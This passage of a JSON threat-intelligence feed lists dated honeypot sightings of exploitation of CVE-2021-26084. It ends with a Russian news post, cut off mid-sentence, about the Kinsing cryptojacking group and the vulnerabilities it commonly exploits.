"CVE-2021-26084", "field": "creation_timestamp", "uuid": "5c6aba60-616f-45b7-9ba9-d4beb33abf4b"}, {"timestamp": "2025-05-24T00:00:00Z", "date_only": false, "value": "2025-05-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ed108f45-c21a-4ce2-8d75-594f781667b6"}, {"timestamp": "2025-05-25T00:00:00Z", "date_only": false, "value": "2025-05-25T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8d3a6e17-8ed2-4e55-b8b9-18e5a22bd88c"}, {"timestamp": "2025-05-26T00:00:00Z", "date_only": false, "value": "2025-05-26T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "484f7184-f1e2-4962-bd74-ffd4b499384e"}, {"timestamp": "2025-05-27T00:00:00Z", "date_only": false, "value": "2025-05-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "483b7e4b-9d9f-43a0-8350-c48900c74053"}, {"timestamp": "2025-05-28T00:00:00Z", "date_only": false, "value": "2025-05-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b65ed70c-ec3e-4ff8-8b35-7fec30856269"}, {"timestamp": "2025-05-31T00:00:00Z", "date_only": false, "value": "2025-05-31T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-31)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8f77c97e-26ea-492f-a89f-64dbbf6bdb36"}, {"timestamp": "2025-05-31T00:00:00Z", "date_only": false, "value": "2025-05-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-31)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "218a5348-ca65-46c6-9674-09e798d21155"}, {"timestamp": "2025-06-01T00:00:00Z", "date_only": false, "value": "2025-06-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6834211e-035c-49e9-b735-da99f1117159"}, {"timestamp": "2025-06-01T00:00:00Z", "date_only": false, "value": "2025-06-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "125da696-104c-43d6-81c5-cd3e9a947dfe"}, {"timestamp": "2025-06-02T00:00:00Z", "date_only": false, "value": "2025-06-02T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-02)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "bfb3ac74-e7aa-41fe-8caa-b5f453a9d3b1"}, {"timestamp": "2025-06-05T00:00:00Z", "date_only": false, "value": "2025-06-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4d4eeddc-8dc9-489d-9b21-af9d4a267080"}, {"timestamp": "2025-06-06T00:00:00Z", "date_only": false, "value": "2025-06-06T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2fb15bb5-3245-4613-bbc5-763740ba6c9a"}, {"timestamp": "2025-06-07T00:00:00Z", "date_only": false, "value": "2025-06-07T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-07)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7fa4f341-38c9-4e1c-a367-95c406eadf1d"}, {"timestamp": "2025-06-08T00:00:00Z", "date_only": false, "value": "2025-06-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "979aed25-9da7-4561-bfa4-7a715f4afbec"}, {"timestamp": "2025-06-09T00:00:00Z", "date_only": false, "value": "2025-06-09T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7551746f-a519-4675-8d6c-87946054fbde"}, {"timestamp": "2025-06-10T00:00:00Z", "date_only": false, "value": "2025-06-10T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b4e539eb-e6b0-40c7-b5fb-a5dc2c4b8924"}, {"timestamp": "2025-06-11T00:00:00Z", "date_only": false, "value": "2025-06-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "34890751-edab-4cfe-b792-fc39d39ccf0a"}, {"timestamp": "2025-06-12T00:00:00Z", "date_only": false, "value": "2025-06-12T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "21126d2d-e3f1-48b7-adeb-b139583d3b95"}, {"timestamp": "2025-06-13T00:00:00Z", "date_only": false, "value": "2025-06-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a872d355-f6c5-4326-be5c-0828b0b43881"}, {"timestamp": "2025-06-14T00:00:00Z", "date_only": false, "value": "2025-06-14T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0bc17e27-1884-412d-ba80-9e893f12b56a"}, {"timestamp": "2025-06-16T00:00:00Z", "date_only": false, "value": "2025-06-16T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-16)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a42bb27c-2013-4909-987b-16525767b323"}, {"timestamp": "2025-06-17T00:00:00Z", "date_only": false, "value": "2025-06-17T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-17)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "bcf839f1-1d6b-47df-8cac-f7ce36cca484"}, {"timestamp": "2025-06-17T00:00:00Z", "date_only": false, "value": "2025-06-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-17)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e4fe2791-a8bb-4272-a726-3c80bbc53cb6"}, {"timestamp": "2025-06-18T00:00:00Z", "date_only": false, "value": "2025-06-18T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fba45c2a-8795-4106-a2cf-cba41bb278cc"}, {"timestamp": "2025-06-18T00:00:00Z", "date_only": false, "value": "2025-06-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9b972fa2-ef08-4c76-a0ba-addbd918f576"}, {"timestamp": "2025-06-19T00:00:00Z", "date_only": false, "value": "2025-06-19T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-19)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "05435251-55c7-4b30-b7d2-84a5cde0cba3"}, {"timestamp": "2025-06-20T00:00:00Z", "date_only": false, "value": "2025-06-20T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "66d79ad4-1775-4324-9193-c80fb227631c"}, {"timestamp": "2025-06-21T00:00:00Z", "date_only": false, "value": "2025-06-21T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "82ddefd8-54af-4f66-ad89-5d701359b45c"}, {"timestamp": "2025-06-23T00:00:00Z", "date_only": false, "value": "2025-06-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8d9cb56b-93a6-47e7-b72b-6525860c404b"}, {"timestamp": "2025-06-24T00:00:00Z", "date_only": false, "value": "2025-06-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "50a5a6e3-750d-4614-aa99-086123b97145"}, {"timestamp": "2025-06-27T00:00:00Z", "date_only": false, "value": "2025-06-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "36ba9785-4a91-4a62-8643-eb3cdbb13461"}, {"timestamp": "2025-06-28T00:00:00Z", "date_only": false, "value": "2025-06-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9f52778b-5de3-41e7-9a3b-60cf2aad32ca"}, {"timestamp": "2025-06-29T00:00:00Z", "date_only": false, "value": "2025-06-29T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "845b6627-7188-4c9f-b56e-39dfa234411a"}, {"timestamp": "2025-06-29T00:00:00Z", "date_only": false, "value": "2025-06-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "31027767-8737-44c0-bc00-cfc9d5115b91"}, {"timestamp": "2025-06-30T00:00:00Z", "date_only": false, "value": "2025-06-30T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-30)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "97fe6bbf-4770-416b-abe1-336f9825639c"}, {"timestamp": "2025-07-01T00:00:00Z", "date_only": false, "value": "2025-07-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "84b76a00-3095-403a-b71b-7c12fdf674c7"}, {"timestamp": "2025-07-01T00:00:00Z", "date_only": false, "value": "2025-07-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ae2c9b1a-8d8b-4318-8337-b72c44b87be8"}, {"timestamp": "2025-07-02T00:00:00Z", "date_only": false, "value": "2025-07-02T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-02)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1cf85d25-5029-4689-89d9-ac7fc0c4aa7d"}, {"timestamp": "2025-07-03T00:00:00Z", "date_only": false, "value": "2025-07-03T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f973d217-3abd-4b13-8da4-66a727827fce"}, {"timestamp": "2025-07-04T00:00:00Z", "date_only": false, "value": "2025-07-04T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-04)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e85e6142-1a02-4e45-bc5b-6788c34353f8"}, {"timestamp": "2025-07-06T00:00:00Z", "date_only": false, "value": "2025-07-06T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4de58c9d-8080-4b8f-9b73-a9bbaea6fcb5"}, {"timestamp": "2025-07-10T00:00:00Z", "date_only": false, "value": "2025-07-10T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4b4e3b47-0b60-4f3a-9a0b-dbf67bc312b1"}, {"timestamp": "2025-07-11T00:00:00Z", "date_only": false, "value": "2025-07-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "02ba6c71-c23a-4877-ab3b-60d61ed256ff"}, {"timestamp": "2025-07-12T00:00:00Z", "date_only": false, "value": "2025-07-12T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "cda14a0c-c909-44ef-b1ac-ac1764768642"}, {"timestamp": "2025-07-13T00:00:00Z", "date_only": false, "value": "2025-07-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ddbbff33-1f1e-4a81-a6ff-9cb289e288fc"}, {"timestamp": "2025-07-20T00:00:00Z", "date_only": false, "value": "2025-07-20T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fc1e73d5-c90b-43a1-84f2-57e1a2a9cdb8"}, {"timestamp": "2025-07-21T00:00:00Z", "date_only": false, "value": "2025-07-21T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1bec8714-6c07-4fd8-8f1c-163953416234"}, {"timestamp": "2025-07-23T00:00:00Z", "date_only": false, "value": "2025-07-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "53105e91-85f4-4f6c-b90d-ad0984e7680b"}, {"timestamp": "2025-07-24T00:00:00Z", "date_only": false, "value": "2025-07-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1df888eb-9680-4055-a882-9142731deea3"}, {"timestamp": "2025-07-25T00:00:00Z", "date_only": false, "value": "2025-07-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "203a8149-a074-4125-9ddc-b5873960f777"}, {"timestamp": "2025-07-26T00:00:00Z", "date_only": false, "value": "2025-07-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a57d3477-7d23-4602-bc2d-d76e9ec6e113"}, {"timestamp": "2025-07-27T00:00:00Z", "date_only": false, "value": "2025-07-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "dc9cdf6c-1fa1-4fca-aca2-348b06d6ad3d"}, {"timestamp": "2025-07-28T00:00:00Z", "date_only": false, "value": "2025-07-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9c9ad0e0-3b03-4e49-93b1-1fda7562f7d6"}, {"timestamp": "2025-08-03T00:00:00Z", "date_only": false, "value": "2025-08-03T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4b107935-361a-45ef-b4e5-9d7a6a45130f"}, {"timestamp": "2025-08-03T00:00:00Z", "date_only": false, "value": "2025-08-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2a2a3a33-5f20-4230-a76d-c283fa86fd29"}, {"timestamp": "2025-08-05T00:00:00Z", "date_only": false, "value": "2025-08-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "58a192d3-4a12-4bad-af1e-84e7e31d4224"}, {"timestamp": "2025-08-07T00:00:00Z", "date_only": false, "value": "2025-08-07T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-07)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9b2149d4-347e-4157-ab8a-988417babd8c"}, {"timestamp": "2025-08-10T00:00:00Z", "date_only": false, "value": "2025-08-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b74a2911-c70f-41c2-993f-3f78453d4aa0"}, {"timestamp": "2025-08-14T00:00:00Z", "date_only": false, "value": "2025-08-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "575b549a-8be8-4520-93c2-ebde7c029fd3"}, {"timestamp": "2025-08-15T16:40:05Z", "date_only": false, "value": "2025-08-15T16:40:05.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/true_secator/7335", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fe6fccbe-635e-4940-be11-31b6d6b5bb93", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 F6 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u043c \u043d\u0430\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0438 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b Kinsing (H2Miner \u0438\u00a0Resourceful Wolf) \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c \u0441 2019 \u0433\u043e\u0434\u0430, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0441\u0432\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043e\u0442\u00a0\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f Kinsing, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043e\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432\u00a0\u0441\u0432\u043e\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0434\u0436\u0435\u043a\u0438\u043d\u0433\u0435 - \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u044b, \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e Monero (XMR), \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0438 \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0438 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432.\n\n\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 \u0421\u0435\u0432\u0435\u0440\u043d\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435, \u0417\u0430\u043f\u0430\u0434\u043d\u043e\u0439 \u0415\u0432\u0440\u043e\u043f\u0435 \u0438 \u0410\u0437\u0438\u0438. \n\n\u0412 2024 \u0433\u043e\u0434\u0443 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0438 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0430\u0442\u0430\u043a Kinsing, \u043d\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044f \u0446\u0435\u043b\u044c \u0430\u0442\u0430\u043a\u0438 \u0438 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0430 \u0432 2025 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043f\u043e RU.\n\n\u0412\u0435\u0441\u043d\u043e\u0439 \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 F6 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0441\u0432\u043e\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 IoCs, \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0438 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u044f\u0432\u043b\u044f\u0435\u043c\u044b\u0445 TTPs \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0432\u044b\u0448\u043b\u0438 \u043d\u0430 \u0441\u043b\u0435\u0434 Kinsing.\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0446\u0435\u043b\u044c Kinsing - \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u041f\u041e \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442.\n\n\u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u00a0\u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a,\u00a0Kinsing\u00a0\u043d\u0435 \u043f\u0440\u0438\u0431\u0435\u0433\u0430\u0435\u0442 \u043a\u00a0\u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u043c \u0430\u0442\u0430\u043a\u0430\u043c, \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u0432\u044b\u044f\u0432\u043b\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: CVE-2017-9841, CVE-2019-17564, CVE-2019-19781, CVE-2020-10684, CVE-2020-17519, CVE-2020-5902, CVE-2020-9480, CVE-2021-26084, CVE-2021-41773, CVE-2021-44228, CVE-2022-24706, CVE-2022-26134, CVE-2023-35042.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0436\u0435\u0440\u0442\u0432\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 